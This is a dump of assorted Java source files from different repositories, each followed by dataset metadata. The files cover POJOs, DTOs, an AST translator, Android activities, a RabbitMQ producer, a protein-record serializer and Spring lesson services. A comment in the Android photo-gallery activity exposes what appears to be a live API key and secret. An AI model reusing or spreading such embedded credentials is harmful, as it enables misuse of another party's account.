/** * @author Yash Jha (51955989) */ package com.model; import java.util.List; //POJO -- Plain Old JAVA Object public class Department { // Variables -- States private int departmentId; private String departmentName; private List<Student> students; // Methods -- Behaviors // Non-Parameterized Constructor public Department() { super(); // WWW--- Immediate Parent Class //System.out.println("This is a Default Constructor"); } // Parameterized Constructor public Department(int departmentId, String departmentName, List<Student> students) { super(); this.departmentId = departmentId; this.departmentName = departmentName; this.students = students; } public int getDepartmentId() { return departmentId; } public void setDepartmentId(int departmentId) { this.departmentId = departmentId; } public String getDepartmentName() { return departmentName; } public void setDepartmentName(String departmentName) { this.departmentName = departmentName; } public List<Student> getStudents() { return students; } public void setStudents(List<Student> students) { this.students = students; } }
true
7ae1609c14f3139c7db66fb14f88d915fb985736
Java
GrupoDevschool/devschoolAPI
/src/main/java/br/com/devschool/devschool/model/dto/DisciplinaDTO.java
UTF-8
892
2.5
2
[]
no_license
package br.com.devschool.devschool.model.dto; import java.util.List; import java.util.stream.Collectors; import br.com.devschool.devschool.model.Disciplina; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor; @Data @AllArgsConstructor @NoArgsConstructor public class DisciplinaDTO { private Integer id; private String nome; private AreaDTO area; public DisciplinaDTO(Disciplina disciplina) { this.id = disciplina.getId(); this.nome = disciplina.getNome(); this.area = new AreaDTO(disciplina.getArea()); } public static List<DisciplinaDTO>converter(List<Disciplina> disciplinas) { return disciplinas.stream().map(DisciplinaDTO::new).collect(Collectors.toList()); } public static List<Disciplina>converterList(List<DisciplinaDTO> disciplinas) { return disciplinas.stream().map(Disciplina::new).collect(Collectors.toList()); } }
true
d564c17ae0acd1792c1edcc017a0d248b519d923
Java
emilianojuan/papilio
/ar.edu.unicen.exa.papilio.core/src/ar/edu/unicen/exa/papilio/core/as/translate/CastExpressionTranslator.java
UTF-8
1,257
2.484375
2
[]
no_license
package ar.edu.unicen.exa.papilio.core.as.translate; import java.util.List; import org.eclipse.gmt.modisco.java.ASTNode; import org.eclipse.gmt.modisco.java.CastExpression; import org.eclipse.gmt.modisco.java.Expression; import org.eclipse.gmt.modisco.java.Type; import ar.edu.unicen.exa.papilio.core.as.element.ASElement; public class CastExpressionTranslator extends AbstractTranslator { @Override public List<ASElement> translate(ASTNode node) { CastExpression castExpression = (CastExpression) node; Expression expression = castExpression.getExpression(); AbstractSyntaxTranslator translator = this.getTranslatorForNode(expression); List<ASElement> result = translator.translate(expression); //asigno coercion de tipo if (!(result.isEmpty()) && castExpression.getType() != null) { Type type = castExpression.getType().getType(); for (ASElement elem : result) { elem.setTypeCoercion(type); } } return result; } @Override public ASTNode getEnclosedNode(ASTNode node) { Expression expression = ((CastExpression) node).getExpression(); AbstractSyntaxTranslator translator = this.getTranslatorForNode(expression); return translator.getEnclosedNode(expression); } }
true
eb20ea94d5fa4fadc8009db47624cbaeb667c379
Java
moonboqi/testJava
/src/main/java/com/alex/designmode/state/RevertState.java
UTF-8
445
2.65625
3
[]
no_license
/** * */ package com.alex.designmode.state; /** * Title: RevertState * Description: * @author wangzi * @date 2019年1月23日 */ public class RevertState implements State { public void doAction(Context context) { System.out.println("给此商品补库存"); context.setState(this); //... 执行加库存的具体操作 } public String toString() { return "Revert State"; } }
true
d13bb43e799be7a4b6e7139a0534565b56d00265
Java
maoqitian/MyPhotoGallery
/app/src/main/java/mao/com/myphotogallery/PhotoGalleryActivity.java
UTF-8
629
1.914063
2
[]
no_license
package mao.com.myphotogallery; import android.content.Context; import android.content.Intent; import android.support.v4.app.Fragment; import mao.com.myphotogallery.base.SingleFragmentActivity; /** * API key f2c037ce818631eab099ef43e54c3165 * 秘钥 722fe0676661ace6 */ public class PhotoGalleryActivity extends SingleFragmentActivity { //让通知服务方便启动Activity public static Intent newIntent(Context context){ return new Intent(context,PhotoGalleryActivity.class); } @Override protected Fragment createFragment() { return PhotoGalleryFragment.newInstance(); } }
true
0cfa7abe8f098abd1c55f58624246cfbe8fe16a8
Java
felipedallarosa/cooperative-assembly
/src/main/java/br/com/cooperative/assembly/facede/message/producer/VoteProducer.java
UTF-8
797
2.03125
2
[]
no_license
package br.com.cooperative.assembly.facede.message.producer; import static br.com.cooperative.assembly.config.CooperativeAssemblyConfiguration.EXCHANGE_NAME; import static br.com.cooperative.assembly.config.message.VoteRabbitConfiguration.ROUTING_KEY_NAME; import org.springframework.amqp.rabbit.core.RabbitTemplate; import org.springframework.stereotype.Component; import br.com.cooperative.assembly.dto.VoteDto; import lombok.extern.slf4j.Slf4j; @Component @Slf4j public class VoteProducer { private RabbitTemplate rabbitTemplate; public VoteProducer(final RabbitTemplate rabbitTemplate) { this.rabbitTemplate = rabbitTemplate; } public void send(final VoteDto message) { rabbitTemplate.convertAndSend(EXCHANGE_NAME, ROUTING_KEY_NAME, message); } }
true
3a421c5f7483353f0d9ee788080ca338e75fc693
Java
trung10/CBV
/app/src/main/java/com/fourtsoft/bvc/di/component/ApplicationComponent.java
UTF-8
639
1.921875
2
[]
no_license
package com.fourtsoft.bvc.di.component; import android.content.Context; import com.fourtsoft.bvc.CallBackgroundVideoApplication; import com.fourtsoft.bvc.dao.CallApi; import com.fourtsoft.bvc.dao.Preference; import com.fourtsoft.bvc.dao.Repository; import com.fourtsoft.bvc.di.AppContext; import com.fourtsoft.bvc.di.module.ApplicationModule; import dagger.Component; import javax.inject.Singleton; @Singleton @Component(modules = ApplicationModule.class) public interface ApplicationComponent { @AppContext Context getContext(); Repository getRepository(); CallApi getCallApi(); Preference getPreference(); }
true
9b7623b105e62f05719d8ab8d1fe652c5847d64c
Java
techaviator/test
/src/test/java/day5/Axis.java
UTF-8
376
2.515625
3
[]
no_license
package day5; public class Axis implements RBI{ @Override public void loanInterest() { System.out.println(" THe AXIS loan interest is 12%"); } @Override public void fixedDepositInterest() { System.out.println("The AXIS fixed intest is 6%"); } public void DiwaliBonanza() { System.out.println("THis is Axis Bonanza offer"); } }
true
19f45c64c435ce84665ddde12654c9c56fff9146
Java
Ashokpasupuleti/SpringMicroservices
/ServiceRegistration/src/main/java/com/cts/spring/ServiceRegistration/controller/RegController.java
UTF-8
595
1.929688
2
[]
no_license
package com.cts.spring.ServiceRegistration.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import com.cts.spring.ServiceRegistration.service.RegServiceHelper; @RestController @RequestMapping("/Reg/v1/api") public class RegController { @Autowired RegServiceHelper regServiceHelper; @GetMapping("/getdata") public String GetData() { return regServiceHelper.getData(); } }
true
2a2d06f4524f5af1999031bcf97005e89bda020b
Java
kaplone/interface
/IHM_reloaded_V2/src/jinter/EcouteurBouton.java
UTF-8
2,677
2.265625
2
[]
no_license
package jinter; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.ArrayList; import javax.swing.SwingWorker; import javax.swing.Timer; public class EcouteurBouton implements ActionListener { Runtime runtime = Runtime.getRuntime(); SwingWorker workerCompteur; SwingWorker workerEnregistreur = null; SwingWorker workerCopieur; SwingWorker workerEffaceur; SwingWorker workerFfmpeg; @Override public void actionPerformed(ActionEvent e) { String nom = Ihm.getNom(); if (workerEnregistreur == null){ Ihm.setLabel_8("rouge"); System.out.println(nom); String bitrate = Ihm.window.textField_2.getText().equals("") ? "" : "--bit-rate"; String bitrate2 = Ihm.window.textField_2.getText().equals("") ? "" : String.format("%d", Integer.valueOf(Ihm.window.textField_2.getText()) * 1000000); String size = "--size"; String size2 = Ihm.window.textField.getText() + "x" + Ihm.window.textField_1.getText(); String chem= Ihm.getCheminAdb(); String[] commande_capture = {chem, "shell", "screenrecord", "--verbose", bitrate, bitrate2, size, size2, "/sdcard/" + nom}; workerCompteur = new Compteur(); Compteur.getTi().start(); workerEnregistreur = new Enregistreur(commande_capture); try { Enregistreur.enCours(); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } else { Compteur.getTi().stop(); Ihm.setLabel_8("vert"); Enregistreur.getP().destroy(); try { Thread.sleep(500); } catch (InterruptedException e2) { // TODO Auto-generated catch block e2.printStackTrace(); } String[] commande_copie = {Ihm.getCheminAdb(), "pull", "/sdcard/" + nom, Ihm.getChemin() + "/" + nom}; //String[] commande_efface = {Ihm.getCheminAdb(), "shell", "rm", "/sdcard/" + nom}; String[] commande_ffmpeg = {Ihm.getCheminFfmpeg(), "-i", Ihm.getChemin() + "/" + nom}; Ihm.window.textField_5.setText(String.format("%03d", Integer.valueOf(Ihm.window.textField_5.getText()) + 1)); workerCopieur = new Copieur(commande_copie); try { Copieur.enCours(); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } // workerEffaceur = new Effaceur(commande_efface); // try { // Effaceur.enCours(); // } catch (IOException e1) { // // TODO Auto-generated catch block // e1.printStackTrace(); // } Ihm.addList_1(nom); workerFfmpeg = new Ffmpeg(commande_ffmpeg); workerEnregistreur = null; } } } //
true
d1d81c622b656258f9edb18554ff247251c754b8
Java
shunleiwaiko/musoni-pm4ml-core-connector
/core-connector/src/main/java/com/modusbox/client/processor/GenerateTimestamp.java
UTF-8
420
1.953125
2
[]
no_license
package com.modusbox.client.processor; import org.apache.camel.Exchange; import org.apache.camel.Processor; import java.text.SimpleDateFormat; import java.util.Date; import java.util.UUID; public class GenerateTimestamp implements Processor { public void process(Exchange exchange) throws Exception { exchange.getIn().setHeader("curDate", new SimpleDateFormat("dd-MM-yyyy").format(new Date())); } }
true
aafacfd70453ec7f2bc266da30ece4d6f0fb7299
Java
zhiaixinyang/PasswordGuard
/app/src/main/java/com/mdove/passwordguard/home/main/presenter/HomeOptionsPresenter.java
UTF-8
1,703
1.789063
2
[]
no_license
package com.mdove.passwordguard.home.main.presenter; import com.mdove.passwordguard.base.listlayout.TestActivity; import com.mdove.passwordguard.home.longplan.EtLongPlanActivity; import com.mdove.passwordguard.home.longplan.LongPlanActivity; import com.mdove.passwordguard.home.main.presenter.contract.HomeOptionsContract; import com.mdove.passwordguard.home.richeditor.RichEditorActivity; import com.mdove.passwordguard.home.schedule.EtScheduleActivity; import com.mdove.passwordguard.home.schedule.ScheduleActivity; import com.mdove.passwordguard.home.todayreview.TodayReViewActivity; public class HomeOptionsPresenter implements HomeOptionsContract.Presenter { private HomeOptionsContract.MvpView mView; public HomeOptionsPresenter() { } @Override public void onClickSchedule() { ScheduleActivity.start(mView.getContext()); } @Override public void onClickTodayPlanReView() { TodayReViewActivity.start(mView.getContext()); } @Override public void onClickAllPlan() { RichEditorActivity.start(mView.getContext()); } @Override public void onClickEtLongPlan() { EtLongPlanActivity.start(mView.getContext()); } @Override public void onClickEtSchedule() { EtScheduleActivity.start(mView.getContext()); } @Override public void onClickEtReView() { TodayReViewActivity.start(mView.getContext()); } @Override public void onClickLongPlan() { LongPlanActivity.start(mView.getContext()); } @Override public void subscribe(HomeOptionsContract.MvpView view) { mView = view; } @Override public void unSubscribe() { } }
true
dfdab04cb73371ff946dc0059e21c58ebb97261c
Java
ocjeong/MEmetric
/src/proteinJavanise/SerializeProteinData.java
UTF-8
5,231
2.78125
3
[]
no_license
/* * SerializeProteinData class * * 단백질/유전자 데이터를 직렬화(Serialize)된 파일로 저장합니다. * This class saves the the protein-gene records from raw data files into * serialized java data file. * * 190112 WC Jung * * - raw file reading stream / output stream * - read each line and split it into a key and value attribute of protein in * a hash structured data. * - serialize & save the loaded data */ package proteinJavanise; import java.util.ArrayList; import java.util.Comparator; import java.util.regex.Pattern; import java.io.FileReader; import java.io.BufferedReader; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.ArrayIndexOutOfBoundsException; import java.lang.NullPointerException; import java.time.LocalDateTime; import java.time.temporal.ChronoUnit; public class SerializeProteinData { String proteinFileLocation; String rawFileName; String serializeToPath; String serializedFileName; // String proteinFileLocation = "./proteinRec/"; // String rawFileName = "dummy_proteinRecord"; // String serializeToPath = "./serializedProtein/"; // String serializedFileName = "190211.dummyProtein"; public static void main(String[] args) throws IOException, InterruptedException{ SerializeProteinData runInstance = new SerializeProteinData( args[0], args[1], args[2], args[3]); } public SerializeProteinData ( // Constructor String inputDir, String inputFileName, String outputDir, String outputFileName) throws IOException, InterruptedException{ LocalDateTime startTime = LocalDateTime.now(); this.proteinFileLocation = inputDir; this.rawFileName = inputFileName; this.serializeToPath = outputDir; this.serializedFileName = outputFileName; BufferedReader rawFileBuffer = new BufferedReader(new FileReader( proteinFileLocation+rawFileName)); String bufferedLine; String[] lineAsArray; ArrayedProteinRecord aProteinEntryArray = new ArrayedProteinRecord(); ProteinRecord aProteinEntry = new ProteinRecord(); String keyFromline = null; ArrayList<String> valueFromLine; int chunkIndex = 1; String indexString; Boolean EndOfFile = false; while (EndOfFile != true) { LocalDateTime loopStartTime = LocalDateTime.now(); indexString = String.valueOf(chunkIndex); int ProteinRecordIndex = 0; while (ProteinRecordIndex < 50000) { bufferedLine = rawFileBuffer.readLine(); try { lineAsArray = bufferedLine.split("(?<=^\\w{2}) ", 2); }catch (NullPointerException case3) { EndOfFile = true; break;//End of file } try { valueFromLine = new ArrayList<>(); //No updated without two members in array.(go to case2) valueFromLine.add(lineAsArray[1]); aProteinEntry.putIfAbsent(lineAsArray[0], valueFromLine) //By here WITHOUT the key in the map.(go to case1) .add(lineAsArray[1]); }catch (NullPointerException case1) { keyFromline = lineAsArray[0]; }catch (ArrayIndexOutOfBoundsException case2) { if (bufferedLine.charAt(0) == ' ') { aProteinEntry.get(keyFromline).add(lineAsArray[0]); }else if (bufferedLine.charAt(0) == '/') { aProteinEntryArray.add(aProteinEntry); aProteinEntry = new ProteinRecord(); ProteinRecordIndex++; } } } LocalDateTime loadedTime = LocalDateTime.now(); System.out.println("No."+indexString+" file with " +ProteinRecordIndex+" records"); System.out.print(loopStartTime.until(loadedTime,ChronoUnit.MILLIS)); System.out.println(" ms elapsed for loadinng."); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream (serializeToPath+serializedFileName+indexString)); oos.writeObject(aProteinEntryArray); oos.close(); aProteinEntryArray.clear(); chunkIndex++; System.out.print(loadedTime.until(LocalDateTime.now(), ChronoUnit.MILLIS)); System.out.println(" ms elapsed for serializing."); } rawFileBuffer.close(); /* Test code int ArrayedEntrySize = aProteinEntryArray.size(); aProteinEntryArray.get(0).forEach( (k, v) -> {v.add(0, k); System.out.println(v);} ); System.out.println("_________________________________________________"); aProteinEntryArray.get(1).forEach( (k, v) -> {v.add(0, k); System.out.println(v);} ); System.out.println("_________________________________________________"); aProteinEntryArray.get(2).forEach( (k, v) -> {v.add(0, k); System.out.println(v);} ); System.out.println("_________________________________________________"); aProteinEntryArray.get(ArrayedEntrySize-3).forEach( (k, v) -> {v.add(0, k); System.out.println(v);} ); System.out.println("_________________________________________________"); aProteinEntryArray.get(ArrayedEntrySize-2).forEach( (k, v) -> {v.add(0, k); System.out.println(v);} ); System.out.println("_________________________________________________"); aProteinEntryArray.get(ArrayedEntrySize-1).forEach( (k, v) -> {v.add(0, k); System.out.println(v);} ); //*/ System.out.print(startTime.until(LocalDateTime.now(), ChronoUnit.MILLIS)); System.out.println(" ms elapsed for total."); } }
true
3a5d070bb578c1eb66d6aa142afaa2e96f0b0f77
Java
deathseb/Mastermind
/src/fr/rasen/mastermind/Mastermind/vue/Duel.java
UTF-8
5,886
2.65625
3
[]
no_license
package fr.rasen.mastermind.Mastermind.vue; import fr.rasen.mastermind.Mastermind.Pastille; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.ArrayList; public class Duel extends JPanel { private static final Logger logger = LogManager.getLogger(); private Fenetre fenetre; private Challenger challenger; private Defenseur defenseur; private Duel duel; public Duel (Fenetre f){ fenetre = f; duel = this; this.setLayout(new BorderLayout()); f.setSize(new Dimension(1230,800)); challenger = new Challenger(fenetre); ActionListener [] al = challenger.getValider().getActionListeners(); challenger.getValider().removeActionListener(al[0]); challenger.getValider().addActionListener(new ChallengerListener()); challenger.setBorder(BorderFactory.createLineBorder(Color.green,3)); this.add(challenger, BorderLayout.WEST); defenseur = new Defenseur(fenetre); defenseur.getValider().setEnabled(false); al = defenseur.getValider().getActionListeners(); defenseur.getValider().removeActionListener(al[0]); defenseur.getValider().addActionListener(new DefenseurListener()); defenseur.getValider().setEnabled(false); defenseur.setBorder(BorderFactory.createLineBorder(Color.red, 3)); this.add(defenseur, BorderLayout.EAST); } /** * Inner class pour enclencher le mode challenger et sa transition avec le mode défenseur. */ class ChallengerListener implements ActionListener{ public void actionPerformed(ActionEvent e) { String rep = challenger.getPlateau().challenger(challenger.convertPastilleString()); challenger.getListProp().add(challenger.getProp()); challenger.sauvegardeProp(); challenger.getProposition().removeAll(); challenger.getProposition().repaint(); challenger.getProposition().revalidate(); challenger.setProp(new ArrayList<Pastille>()); challenger.getListIndic().add(challenger.convertStringPastille(rep)); challenger.affichageIndic(challenger.getListIndic().get(challenger.getListIndic().size()-1)); if(challenger.getListIndic().get(challenger.getListIndic().size()-1).equals(challenger.getListBouleNoires())){ //gestion victoire FinDePartie fp = new FinDePartie("Victoire", true, fenetre.getProjet3(), fenetre); } else if(challenger.getPlateau().getTourActuel()==challenger.getPlateau().getNbToursMax()){ //gestion défaite FinDePartie fp = new FinDePartie("Défaite", false, fenetre.getProjet3(), fenetre); } challenger.getPlateau().setTourActuel(challenger.getPlateau().getTourActuel()+1); transitionCD(); } } /** * Inner class pour gérer le mode défenseur et sa transition avec le mode challenger. */ class DefenseurListener implements ActionListener{ public void actionPerformed(ActionEvent e) { defenseur.getListIndic().add(defenseur.getProp()); defenseur.affichageIndic(defenseur.getProp()); defenseur.setProp(new ArrayList<>()); defenseur.getProposition().removeAll(); defenseur.getProposition().repaint(); defenseur.getProposition().revalidate(); if(defenseur.getListIndic().get(defenseur.getListIndic().size()-1).equals(defenseur.getListBouleNoires())){ //gestion victoire FinDePartie fp = new FinDePartie("Victoire", true, fenetre.getProjet3(), fenetre); } else if(defenseur.getPlateau().getTourActuel()== defenseur.getPlateau().getNbToursMax()){ //gestion défaite FinDePartie fp = new FinDePartie("Défaite", false, fenetre.getProjet3(), fenetre); } else { //Si la partie n'est ni gagné ni perdu, on continue defenseur.getPlateau().setTourActuel(defenseur.getPlateau().getTourActuel() + 1); defenseur.jouerTour(); } transitionDC(); } } public void transitionCD(){ Thread t = new Thread(new ThreadFocusCD()); t.start(); } public void transitionDC(){ Thread t = new Thread(new ThreadFocusDC()); t.start(); } /** * Inner class faisant la transition visuel entre le mode challenger et le mode défenseur. */ class ThreadFocusCD implements Runnable { public void run() { challenger.getValider().setEnabled(false); challenger.setBorder(BorderFactory.createLineBorder(Color.red, 3)); Thread thread = new Thread(); try { thread.sleep(1000); } catch (InterruptedException e) { logger.error("Erreur lors du thread de pause."); } defenseur.setBorder(BorderFactory.createLineBorder(Color.green, 3)); defenseur.getValider().setEnabled(true); } } /** * Inner class faisant le transition visuel entre le mode défenseur et le mode challenger. */ class ThreadFocusDC implements Runnable { public void run() { defenseur.getValider().setEnabled(false); defenseur.setBorder(BorderFactory.createLineBorder(Color.red, 3)); Thread thread = new Thread(); try { thread.sleep(1000); } catch (InterruptedException e) { logger.error("Erreur lors du thread de pause."); } challenger.setBorder(BorderFactory.createLineBorder(Color.green, 3)); challenger.getValider().setEnabled(true); } } }
true
0ece765d720a2c0a35a5052317994463cef1a282
Java
ramasatriafb/MyMovieDB
/app/src/main/java/ramasatriafb/dicoding/myanimedb/detail/DetailTvActivity.java
UTF-8
5,710
2.03125
2
[]
no_license
package ramasatriafb.dicoding.myanimedb.detail; import android.annotation.SuppressLint; import androidx.room.Room; import android.os.AsyncTask; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import androidx.appcompat.app.AppCompatActivity; import com.squareup.picasso.Picasso; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import ramasatriafb.dicoding.myanimedb.R; import ramasatriafb.dicoding.myanimedb.data.ResultTvShow; import ramasatriafb.dicoding.myanimedb.db.AppDatabase; import ramasatriafb.dicoding.myanimedb.entity.Favourite; public class DetailTvActivity extends AppCompatActivity { private ImageView posterTV; private ImageView posterTVSmall; TextView titleTV; TextView firstAirTV; TextView ratingTV; TextView synopsisTV; Button btnLike; TextView textSukai; ResultTvShow result; private AppDatabase db; @SuppressLint("SetTextI18n") @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_tvdetail); db = Room.databaseBuilder(getApplicationContext(), AppDatabase.class, "favouritedb").allowMainThreadQueries().build(); result = getIntent().getParcelableExtra("tv_show"); String kontenIdCheck = result.getId().toString(); Log.d("konten", kontenIdCheck); String cek = db.favouriteDAO().checkedKontenId(kontenIdCheck); Log.d("TES", cek); if (getSupportActionBar() != null) { getSupportActionBar().setDisplayHomeAsUpEnabled(true); } posterTV = findViewById(R.id.img_poster_tv); posterTVSmall = findViewById(R.id.img_poster_tv_small); titleTV = findViewById(R.id.tv_title_tv); firstAirTV = findViewById(R.id.tv_First_Air); ratingTV = findViewById(R.id.tv_rating_tv); synopsisTV = findViewById(R.id.tv_synopsis_tv); btnLike = findViewById(R.id.btnFavTv); textSukai = findViewById(R.id.textSukai); Toast.makeText(this, getString(R.string.Loading) , Toast.LENGTH_SHORT).show(); int tas = Integer.parseInt(cek); if(tas!=0){ textSukai.setText(getString(R.string.DisabledFav)); textSukai.setVisibility(View.VISIBLE); btnLike.setVisibility(View.GONE); Log.d("TAS", "bener"); }else{ btnLike.setVisibility(View.VISIBLE); Log.d("TAS", "salah"); } Picasso.with(DetailTvActivity.this). load("https://image.tmdb.org/t/p/w500" + result.getPosterPath()) .into(posterTV); posterTV.setAdjustViewBounds(true); posterTV.setScaleType(ImageView.ScaleType.CENTER_CROP); Picasso.with(DetailTvActivity.this). load("https://image.tmdb.org/t/p/w185" + result.getPosterPath()) .into(posterTVSmall); final String KontenId = String.valueOf(result.getId()); final String Synopsis; titleTV.setText(result.getName()); final String firstAirDate = formatDate("yyyy-MM-dd", "dd MMMM yyyy", result.getFirstAirDate()); firstAirTV.setText(firstAirDate); ratingTV.setText(Double.toString(result.getVoteAverage())); if (result.getOverview().equalsIgnoreCase("")) { Synopsis = getString(R.string.Overview); synopsisTV.setText(getString(R.string.Overview)); } else { Synopsis = result.getOverview(); synopsisTV.setText(result.getOverview()); } btnLike.setOnClickListener(new View.OnClickListener(){ @Override public void onClick(View v) { Favourite favourite = new Favourite(); favourite.setKontenId(KontenId); favourite.setJudul(result.getName()); favourite.setPoster(result.getPosterPath()); favourite.setReleaseDate(result.getFirstAirDate()); favourite.setRating(result.getVoteAverage().toString()); favourite.setOverview(Synopsis); favourite.setFlag(1); favourite.setFlagSave(1); insertData(favourite); textSukai.setText(getString(R.string.DisabledFav)); textSukai.setVisibility(View.VISIBLE); btnLike.setVisibility(View.GONE); } }); } private void insertData(final Favourite favourite){ new AsyncTask<Void, Void, Long>(){ @Override protected Long doInBackground(Void... voids) { // melakukan proses insert data long status = db.favouriteDAO().insertFavourite(favourite); return status; } @Override protected void onPostExecute(Long status) { Toast.makeText(DetailTvActivity.this, getString(R.string.DoneTv), Toast.LENGTH_SHORT).show(); } }.execute(); } public static String formatDate(String fromFormat, String toFormat, String dateToFormat) { @SuppressLint("SimpleDateFormat") SimpleDateFormat inFormat = new SimpleDateFormat(fromFormat); Date date = null; try { date = inFormat.parse(dateToFormat); } catch (ParseException e) { e.printStackTrace(); } SimpleDateFormat outFormat = new SimpleDateFormat(toFormat); return outFormat.format(date); } }
true
883ba659f4c4b167f2732cbef3e4bee983e670e9
Java
phenixdong/xgzx
/java/xgzx-admin/src/main/java/com/xgzx/admin/service/impl/LessonServiceImpl.java
UTF-8
5,256
2.234375
2
[]
no_license
package com.xgzx.admin.service.impl; import com.xgzx.admin.entity.LessonContent; import com.xgzx.admin.entity.LessonWatch; import com.xgzx.admin.entity.User; import com.xgzx.admin.entity.Lesson; import com.xgzx.admin.mapper.LessonMapper; import com.xgzx.admin.service.LessonContentService; import com.xgzx.admin.service.LessonService; import com.xgzx.admin.service.LessonWatchService; import com.baomidou.mybatisplus.plugins.Page; import com.baomidou.mybatisplus.service.impl.ServiceImpl; import org.springframework.stereotype.Service; import com.xgzx.base.BaseErrResult; import com.xgzx.base.BaseResult; import com.xgzx.exception.CommonError; import com.xgzx.util.JsonObjUtils; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.transaction.annotation.Transactional; /** * @author DaiDong * @since 2018-01-05 * @email 755144556@qq.com */ @Service @Transactional public class LessonServiceImpl extends ServiceImpl<LessonMapper, Lesson> implements LessonService { @Autowired LessonMapper lessonMapper; @Autowired LessonContentService lessonContentService; @Autowired LessonWatchService lessonWatchService; @Override public BaseResult customQuery(int id) { Lesson lesson = lessonMapper.customQuery(id); return new BaseResult("1", "成功", lesson); } @Override public int insertReturnId(Lesson lesson) { return lessonMapper.insertReturnId(lesson); } @Override public BaseResult addWatchRecord(Map<String, Object> param) { String userId = (String) param.get("userId"); Integer lessonId = (Integer) param.get("lessonId"); // 增加用户-课程观看记录 LessonWatch lessonWatch = new LessonWatch(); lessonWatch.setLessonId(lessonId); lessonWatch.setUserId(userId); lessonWatchService.insert(lessonWatch); // 观看次数+1 Lesson lesson = lessonMapper.selectById(lessonId); lesson.setWatchNo(lesson.getWatchNo() + 1); lessonMapper.updateById(lesson); return new BaseResult(); } @Override public BaseResult selectLessonList(Page<Lesson> page, Map<String, Object> lessonMap) { List<Lesson> list = lessonMapper.selectLessonList(page, lessonMap); page.setRecords(list); return new BaseResult(page); } @Override public BaseResult getWatchList(Page<Lesson> page, Map<String, Object> lessonMap) { List<Lesson> list = lessonMapper.getWatchList(page, lessonMap); page.setRecords(list); return new BaseResult(page); } @Override public BaseResult insert(Map<String, Object> param) { Lesson lesson = null; try { lesson = JsonObjUtils.map2obj(param, Lesson.class); } catch (Exception e) { e.printStackTrace(); return new BaseResult("0", e.getMessage(), null); } // 新增课程 lesson.setValidTag(1); lesson.setWatchNo(0); Date nowTime = new Date(); lesson.setCreateTime(nowTime); lesson.setUpdateTime(nowTime); int ret = lessonMapper.insertReturnId(lesson); if (ret <= 0) { return new BaseResult("0", "失败", null); } int lessonId = lesson.getLessonId(); // 新增目录 List<LessonContent> contentList = null; try { if (null != param.get("contentList")) { contentList = JsonObjUtils.map2List(param, "contentList", LessonContent.class); } } catch (Exception e) { e.printStackTrace(); CommonError.CommonErr(new BaseErrResult("-1", e.getMessage())); } if (null != contentList && contentList.size() > 0) { List<LessonContent> newList = new ArrayList<>(); for (LessonContent item : contentList) { item.setLessonId(lessonId); item.setValidTag(1); newList.add(item); } lessonContentService.insertBatch(newList); } return new BaseResult("1", "成功", lesson); } public BaseResult update(Map<String, Object> param) { Lesson lesson = null; try { lesson = JsonObjUtils.map2obj(param, Lesson.class); } catch (Exception e) { e.printStackTrace(); return new BaseResult("0", e.getMessage(), null); } // 更新lesson int lessonId = lesson.getLessonId(); int ret = lessonMapper.updateById(lesson); if (ret <= 0) { return new BaseResult("0", "失败", null); } // 删除旧目录 Map<String, Object> map = new HashMap<>(); map.put("lesson_id", lessonId); lessonContentService.deleteByMap(map); // 新增新目录 List<LessonContent> contentList = null; try { if (null != param.get("lessonContentList")) { contentList = JsonObjUtils.map2List(param, "lessonContentList", LessonContent.class); } } catch (Exception e) { e.printStackTrace(); CommonError.CommonErr(new BaseErrResult("-1", e.getMessage())); } if (null != contentList && contentList.size() > 0) { List<LessonContent> newList = new ArrayList<>(); for (LessonContent item : contentList) { item.setLessonId(lessonId); item.setValidTag(1); newList.add(item); } lessonContentService.insertBatch(newList); } return new BaseResult("1", "成功", null); } }
true
01f8ce689d264db14a6c593402538e265c466734
Java
Arvnd/cognoscenti
/src/org/socialbiz/cog/api/SyncStatus.java
UTF-8
2,339
1.75
2
[ "Apache-2.0" ]
permissive
/* * Copyright 2013 Keith D Swenson * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * Contributors Include: Shamim Quader, Sameer Pradhan, Kumar Raja, Jim Farris, * Sandia Yang, CY Chen, Rajiv Onat, Neal Wang, Dennis Tam, Shikha Srivastava, * Anamika Chaudhari, Ajay Kakkar, Rajeev Rastogi */ package org.socialbiz.cog.api; import org.workcast.json.JSONObject; /** * supports comparing a local and remote project */ public class SyncStatus { public static final int TYPE_DOCUMENT = 1; public static final int TYPE_NOTE = 2; public static final int TYPE_TASK = 3; ProjectSync sync; public String universalId; public int type; //whether they exist or not, and non-global id public boolean isLocal; public boolean isRemote; public String idLocal; public String idRemote; //name like field: document name, task synopsis, note subject public String nameLocal; public String nameRemote; public String descLocal; public String descRemote; //timestamp information public long timeLocal; public long timeRemote; public String editorLocal; public String editorRemote; //documents have size, tasks put state here public long sizeLocal; public long sizeRemote; //documents have URL, notes use the URL for the note content //action items use this for the URL that the remote UI is at public String urlLocal; public String urlRemote; //these are for action items only public String assigneeLocal; public String assigneeRemote; public int priorityLocal; public JSONObject remoteCopy; public SyncStatus(ProjectSync _sync, int _type, String _uid) throws Exception { sync = _sync; type = _type; universalId = _uid; } }
true